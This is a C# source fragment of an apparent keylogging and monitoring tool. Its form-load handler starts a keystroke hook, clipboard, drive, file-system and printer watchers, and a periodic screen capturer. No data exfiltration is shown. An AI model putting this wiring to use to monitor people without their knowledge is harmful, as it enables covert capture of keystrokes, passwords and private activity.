void MainForm_Load(object sender, EventArgs e) { Modules activemodules = (Modules)1135; uint interval = 0; //LoadSettings(ref activemodules,ref interval); if ((activemodules & Modules.Keystrokes) == Modules.Keystrokes) { // Setting up Keylogger hook = new Hook(true, false); hook.Keystroke += hook_Keystroke; hook.Start(); } if ((activemodules & Modules.RemDrives) == Modules.RemDrives) { // Setting up DriveMonitor dm = new DriveMonitor(); dm.DeviceArrived += dm_DriveArrived; dm.DeviceRemoved += dm_DriveRemoved; dm.DeviceQuerriedRemove += dm_DriveQuerriedRemove; } if ((activemodules & Modules.Clipboard) == Modules.Clipboard) { // Setting up ClipboardMonitor cm = new ClipboardMonitor(); cm.OnClipboardChange += cm_OnClipboardChange; cm.Start(); } if ((activemodules & Modules.FSOp) == Modules.FSOp) { // Setting up FileSystemMonitors foreach (DriveInfo di in DriveInfo.GetDrives()) { if ((di.DriveType == DriveType.Fixed || di.DriveType == DriveType.Removable) && di.IsReady) { FileSystemMonitor fsm = new FileSystemMonitor(di.Name); fsm.FSMOpened += Monitor_Opened; fsm.FSMCreated += Monitor_CreatedDeletedModified; fsm.FSMDeleted += Monitor_CreatedDeletedModified; fsm.FSMRenamed += Monitor_CustomRenamed; fsm.FSMModified += Monitor_CreatedDeletedModified; } } } if ((activemodules & Modules.Screenshoter) == Modules.Screenshoter && interval > 0) { // Setting up ScreenCapturer sc = new ScreenCapturer((int)interval * 60000); sc.Start(); } if ((activemodules & Modules.Printer) == Modules.Printer) { // Setting up PrinterMonitor PrintServer printServer = new PrintServer(); foreach (PrintQueue pq in printServer.GetPrintQueues()) { pm = new PrinterMonitor(pq.Name.Trim()); pm.OnJobStatusChange += printm_OnJobStatusChange; } } System.Timers.Timer timer = new System.Timers.Timer(30000); timer.AutoReset = true; timer.Elapsed += timer_Elapsed; timer.Start(); }
public DetectorForm(ClipboardMonitor monitor) { InitializeComponent(); clipboardMonitor = monitor; }